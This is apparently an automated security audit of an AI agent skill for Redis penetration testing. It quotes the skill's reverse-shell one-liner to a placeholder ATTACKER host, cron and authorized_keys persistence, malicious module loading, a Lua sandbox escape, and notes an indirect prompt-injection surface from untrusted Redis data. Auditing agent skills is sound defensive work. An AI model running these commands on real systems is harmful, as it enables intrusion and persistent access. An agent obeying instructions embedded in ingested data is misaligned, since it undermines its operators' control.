redis-pentesting
Warn
Audited by Gen Agent Trust Hub on Oct 16, 2026
Risk Level: MEDIUMCOMMAND_EXECUTIONREMOTE_CODE_EXECUTIONPERSISTENCEEXTERNAL_DOWNLOADSDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [COMMAND_EXECUTION]: The skill provides numerous shell commands for system interaction and payload delivery.
- Evidence: Use of
bash -i >& /dev/tcp/ATTACKER/4444 0>&1for reverse shells via crontab. - Evidence: Use of
redis-clito modify system configurations (CONFIG SET dir,CONFIG SET dbfilename) and write files to sensitive paths like/usr/share/nginx/htmland/var/spool/cron/. - [REMOTE_CODE_EXECUTION]: Instructions guide the agent to download, compile, and execute code from external sources to gain control over a target system.
- Evidence: Instructions to
git cloneandmaketheRedisModules-ExecuteCommandrepository. - Evidence: Instructions to execute the
redis-rogue-server.pyscript for automated exploitation. - [PERSISTENCE]: The skill explicitly teaches how to maintain access on a target system using standard persistence techniques.
- Evidence: Writing attacker-controlled public keys to
authorized_keysfiles in target home directories. - Evidence: Injecting reverse shell commands into system crontab files (
/var/spool/cron/root). - [EXTERNAL_DOWNLOADS]: The skill references and encourages the use of tools from untrusted third-party GitHub repositories.
- Evidence: References to
github.com/n0b0dyCN,github.com/Avinash-acid, andgithub.com/captain-wooffor exploitation tools and modules. - [DYNAMIC_EXECUTION]: The skill utilizes Redis-specific features to execute arbitrary code at runtime.
- Evidence: Use of
MODULE LOADto inject and run malicious shared libraries (.so files). - Evidence: Use of
EVALto execute Lua scripts that attempt to escape the Redis sandbox (e.g., CVE-2022-0543). - [INDIRECT_PROMPT_INJECTION]: The skill defines a surface where the agent processes data from external, potentially attacker-controlled Redis instances.
- Ingestion points:
GET <key>,MONITOR,CLIENT LIST, andCONFIG GETcommands inSKILL.mdandreferences/redis-techniques.md. - Boundary markers: None present; the agent is not instructed to treat Redis data as untrusted or to ignore embedded instructions.
- Capability inventory: High; includes full shell command execution, file system writes, and network operations.
- Sanitization: None present; external data is processed directly by the agent's context.
Audit Metadata